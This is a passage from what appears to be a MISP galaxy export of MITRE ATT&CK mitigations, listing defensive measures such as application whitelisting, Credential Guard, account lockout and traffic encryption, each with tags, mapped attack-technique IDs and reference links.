https://en.wikipedia.org/wiki/IEEE_802.1X

Data Compressed Mitigation - T1002

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.

The tag is: misp-galaxy:mitre-course-of-action="Data Compressed Mitigation - T1002"

Data Compressed Mitigation - T1002 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"

Table 2807. Table References
Links
https://attack.mitre.org/mitigations/T1002
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Credential Dumping Mitigation - T1003

Windows

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)

Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)

Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)

Linux

Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.

The tag is: misp-galaxy:mitre-course-of-action="Credential Dumping Mitigation - T1003"

Credential Dumping Mitigation - T1003 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2808. Table References
Links
https://attack.mitre.org/mitigations/T1003
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach
https://technet.microsoft.com/en-us/library/dn408187.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard
https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard
https://adsecurity.org/?p=1729
https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr
https://technet.microsoft.com/library/jj865668.aspx

System Partition Integrity - M1004

Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.

The tag is: misp-galaxy:mitre-course-of-action="System Partition Integrity - M1004"

System Partition Integrity - M1004 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"

Table 2809. Table References
Links
https://attack.mitre.org/mitigations/M1004

Network Sniffing Mitigation - T1040

Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.

Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Network Sniffing Mitigation - T1040"

Network Sniffing Mitigation - T1040 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 2810. Table References
Links
https://attack.mitre.org/mitigations/T1040
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

New Service Mitigation - T1050

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.

Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="New Service Mitigation - T1050"

New Service Mitigation - T1050 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

Table 2811. Table References
Links
https://attack.mitre.org/mitigations/T1050
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Fallback Channels Mitigation - T1008

The tag is: misp-galaxy:mitre-course-of-action="Fallback Channels Mitigation - T1008"

Fallback Channels Mitigation - T1008 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 2812. Table References
Links
https://attack.mitre.org/mitigations/T1008
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Binary Padding Mitigation - T1009

Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Binary Padding Mitigation - T1009"

Binary Padding Mitigation - T1009 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"

Table 2813. Table References
Links
https://attack.mitre.org/mitigations/T1009
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Connection Proxy Mitigation - T1090

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Connection Proxy Mitigation - T1090"

Connection Proxy Mitigation - T1090 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 2814. Table References
Links
https://attack.mitre.org/mitigations/T1090
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Encrypt Network Traffic - M1009

Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.

iOS’s App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.

Android’s Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).

Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.

The tag is: misp-galaxy:mitre-course-of-action="Encrypt Network Traffic - M1009"

Encrypt Network Traffic - M1009 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Downgrade to Insecure Protocols - T1466" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Eavesdrop on Insecure Network Communication - T1439" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Rogue Cellular Base Station - T1467" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449" with estimative-language:likelihood-probability="almost-certain"

Table 2815. Table References
Links
https://attack.mitre.org/mitigations/M1009
https://techcrunch.com/2016/06/14/apple-will-require-https-connections-for-ios-apps-by-the-end-of-2016/
https://developer.android.com/training/articles/security-config.html

Brute Force Mitigation - T1110

Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)

Refer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)

Where possible, also enable multi factor authentication on external facing services.

The tag is: misp-galaxy:mitre-course-of-action="Brute Force Mitigation - T1110"

Brute Force Mitigation - T1110 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 2816. Table References
Links
https://attack.mitre.org/mitigations/T1110
https://pages.nist.gov/800-63-3/sp800-63b.html

Query Registry Mitigation - T1012

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Query Registry Mitigation - T1012"

Query Registry Mitigation - T1012 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 2817. Table References
Links
https://attack.mitre.org/mitigations/T1012
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Remote Services Mitigation - T1021

Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire [Valid Accounts](https://attack.mitre.org/techniques/T1078) that can be used by existing services.

The tag is: misp-galaxy:mitre-course-of-action="Remote Services Mitigation - T1021"

Remote Services Mitigation - T1021 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 2818. Table References
Links
https://attack.mitre.org/mitigations/T1021

Web Service Mitigation - T1102

Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Web Service Mitigation - T1102"

Web Service Mitigation - T1102 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 2819. Table References
Links
https://attack.mitre.org/mitigations/T1102
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Application Developer Guidance - M1013

This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.

The tag is: misp-galaxy:mitre-course-of-action="Application Developer Guidance - M1013"

Application Developer Guidance - M1013 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"

Table 2820. Table References
Links
https://attack.mitre.org/mitigations/M1013

AppInit DLLs Mitigation - T1103

Upgrade to Windows 8 or later and enable secure boot.

Identify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: misp-galaxy:mitre-course-of-action="AppInit DLLs Mitigation - T1103"

AppInit DLLs Mitigation - T1103 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"

Table 2821. Table References
Links
https://attack.mitre.org/mitigations/T1103
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Network Intrusion Prevention - M1031

Use intrusion detection signatures to block traffic at network boundaries.

The tag is: misp-galaxy:mitre-course-of-action="Network Intrusion Prevention - M1031"

Network Intrusion Prevention - M1031 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

Table 2822. Table References
Links
https://attack.mitre.org/mitigations/M1031

Port Monitors Mitigation - T1013

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.

The tag is: misp-galaxy:mitre-course-of-action="Port Monitors Mitigation - T1013"

Port Monitors Mitigation - T1013 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Port Monitors - T1013" with estimative-language:likelihood-probability="almost-certain"

Table 2823. Table References
Links
https://attack.mitre.org/mitigations/T1013
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

Encrypt Sensitive Information - M1041

Protect sensitive information with strong encryption.

The tag is: misp-galaxy:mitre-course-of-action="Encrypt Sensitive Information - M1041"

Encrypt Sensitive Information - M1041 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"

Table 2824. Table References
Links
https://attack.mitre.org/mitigations/M1041

Active Directory Configuration - M1015

Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.

The tag is: misp-galaxy:mitre-course-of-action="Active Directory Configuration - M1015"

Active Directory Configuration - M1015 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 2825. Table References
Links
https://attack.mitre.org/mitigations/M1015

Accessibility Features Mitigation - T1015

To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)

If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)

Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Accessibility Features Mitigation - T1015"

Accessibility Features Mitigation - T1015 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"

Table 2826. Table References
Links
https://attack.mitre.org/mitigations/T1015
https://technet.microsoft.com/en-us/library/cc732713.aspx
https://technet.microsoft.com/en-us/library/cc731150.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Plist Modification Mitigation - T1150

Prevent plist files from being modified by users by making them read-only.

The tag is: misp-galaxy:mitre-course-of-action="Plist Modification Mitigation - T1150"

Plist Modification Mitigation - T1150 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Plist Modification - T1150" with estimative-language:likelihood-probability="almost-certain"

Table 2827. Table References
Links
https://attack.mitre.org/mitigations/T1150

Systemd Service Mitigation - T1501

The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.

The tag is: misp-galaxy:mitre-course-of-action="Systemd Service Mitigation - T1501"

Systemd Service Mitigation - T1501 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"

Table 2828. Table References
Links
https://attack.mitre.org/mitigations/T1501

Shared Webroot Mitigation - T1051

Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)

The tag is: misp-galaxy:mitre-course-of-action="Shared Webroot Mitigation - T1051"

Shared Webroot Mitigation - T1051 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"

Table 2829. Table References
Links
https://attack.mitre.org/mitigations/T1051
https://www.acunetix.com/websitesecurity/webserver-security/
https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf

Launch Daemon Mitigation - T1160

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.

The tag is: misp-galaxy:mitre-course-of-action="Launch Daemon Mitigation - T1160"

Launch Daemon Mitigation - T1160 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160" with estimative-language:likelihood-probability="almost-certain"

Table 2830. Table References
Links
https://attack.mitre.org/mitigations/T1160

File Deletion Mitigation - T1107

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="File Deletion Mitigation - T1107"

File Deletion Mitigation - T1107 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"

Table 2831. Table References
Links
https://attack.mitre.org/mitigations/T1107
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

User Account Management - M1018

Manage the creation, modification, use, and permissions associated to user accounts.

The tag is: misp-galaxy:mitre-course-of-action="User Account Management - M1018"

User Account Management - M1018 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Launchctl - T1152" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Login Item - T1162" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Rc.common - T1163" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
